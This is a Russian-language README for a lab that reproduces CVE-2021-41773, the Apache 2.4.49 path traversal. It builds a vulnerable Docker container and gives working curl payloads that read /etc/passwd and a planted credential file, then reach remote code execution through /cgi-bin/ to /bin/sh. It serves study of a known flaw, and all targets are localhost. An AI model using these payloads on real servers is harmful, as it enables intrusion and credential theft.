
Воспроизведение и анализ любопытной логической ошибки в Apache 2.4.49, которая привела к удаленному выполнению кода.
CVE-2021-41773 — это уязвимость обхода пути, обнаруженная в Apache HTTP Server 2.4.49 в октябре 2021 года. Основной причиной была ошибка в нормализации последовательностей точек, оканчивающихся в URL, перед проверкой того, остаётся ли запрошенный путь в пределах корневой директории веб-сервера. Эта уязвимость позволяла злоумышленнику выйти за пределы корневой директории веб-сервера и получить доступ к любым файлам в файловой системе сервера, в некоторых случаях с возможностью эскалации до удалённого выполнения кода.
2 вектора атак, продемонстрированных в этом исследовании
Docker
curl
Linux или macOS
Dockerfile - сборка уязвимого контейнера Apache 2.4.49
exploit.sh - автоматизированный скрипт цепочки эксплуатации
README.md
Обзор Dockerfile:
Примечание: убедитесь, что Docker установлен и запущен
Вариант 1: автоматический скрипт
chmod +x exploit.sh
./exploit.sh
Вариант 2: ручное выполнение
Сборка образа и запуск контейнера:
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-env
Отдельные команды curl для ручного тестирования:
Этап 1 — Чтение размещённого секрета (чистый обход без CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
Этап 2 — Чтение /etc/passwd (чистый обход без CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Этап 3 — RCE: выполнение команд (требуется mod_cgi)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
Этап 4 — Полная цепочка: чтение секрета через RCE
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"